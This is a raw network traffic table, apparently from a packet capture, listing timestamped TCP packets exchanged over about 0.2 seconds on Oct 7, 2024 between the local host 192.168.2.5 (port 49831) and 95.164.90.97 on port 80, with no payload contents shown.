Oct 7, 2024 18:00:50.537461042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537470102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537472963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537481070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537491083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537497044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537503004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537509918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537513018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537523985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537532091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537534952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537548065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537549973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537559032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537570000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537578106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537580967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537592888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537602901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537606001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537614107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537625074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537626028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537636042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537647009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537650108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537656069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537668943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537688971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538283110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538292885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538302898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538312912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538322926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538331032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538332939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538343906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538352966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538355112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538366079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538372993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538376093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538386106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538392067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538395882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538403034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538407087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538420916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.538434982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.538460970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.617408037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617423058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617434978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617491961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.617512941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617523909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617530107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.617535114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617546082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.617558956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.617588043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618067980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618077993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618088007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618098021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618107080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618115902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618118048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618129015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618133068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618139982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618155956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618170977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618521929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618532896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618542910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618551970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618561983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618561983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618578911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618588924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618588924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618607044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618618011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618621111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618628979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618639946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618642092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618650913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618659973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618669033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618676901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618680954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618705988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618722916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618905067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618915081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618927956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618937969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618944883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618948936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618957043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.618961096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.618978024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619004011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619033098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619043112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619051933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619060993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619070053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619074106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619075060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619085073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619091034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619096994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619107008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619117022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619127989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619158983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619721889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619733095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619741917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619751930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619760990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619760990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619771004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619781017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619788885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619792938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619803905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619812965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619822025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619824886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619832993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619843960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619843960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619856119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.619863033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619877100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.619895935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620168924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620178938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620191097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620229959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620318890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620328903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620338917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620348930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620356083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620359898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620389938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620414019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620460033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620470047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620480061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620490074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620496035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620500088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620511055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620516062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620520115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620531082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620541096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620548010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620557070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620568037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620568991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620579958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620584965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620593071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.620618105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.620641947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.621056080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621067047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621077061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621085882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621095896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621104956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.621105909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621120930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621131897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621140957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.621143103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621155024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.621169090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.621190071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.622203112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.625406027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.634457111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634474039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634481907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634529114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.634561062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.634589911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634601116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634612083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634622097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634684086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.634708881 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.634874105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634885073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634893894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.634932995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.634962082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635132074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635143042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635152102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635185003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635211945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635262966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635272980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635282040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635291100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635301113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635310888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635313034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635320902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635351896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635370970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635881901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635891914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635901928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635911942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.635938883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.635951996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.691946983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.703671932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703686953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703699112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703751087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.703757048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703768969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703778982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703789949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703795910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.703814983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.703824997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.703980923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.703998089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704009056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704025030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704036951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704036951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.704063892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.704077005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.704474926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704484940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704490900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704500914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704511881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704521894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704525948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.704534054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704544067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704555035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704566002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.704569101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.704593897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.704605103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.705789089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705802917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705813885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705823898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705835104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705843925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705854893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705854893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.705866098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705878019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705888033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.705916882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.705938101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.706270933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706280947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706290007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706300020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706322908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.706322908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706336021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706336021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.706346035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706356049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706366062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706368923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.706377029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.706393957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.706413031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.707169056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707180023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707189083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707200050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707210064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707220078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707227945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.707231998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707246065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707247019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.707257986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707261086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.707268953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.707283020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.707290888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.707321882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.708066940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708076954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708086014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708095074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708105087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708115101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708116055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.708125114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708134890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708142996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708144903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.708153963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708168030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.708182096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.708949089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708959103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708967924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708976984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708986998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.708992958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.708997011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709007025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709008932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709019899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709027052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709048033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709054947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.709058046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.709069014 CEST	80	49831	95.164.90.97	192.168.2.5
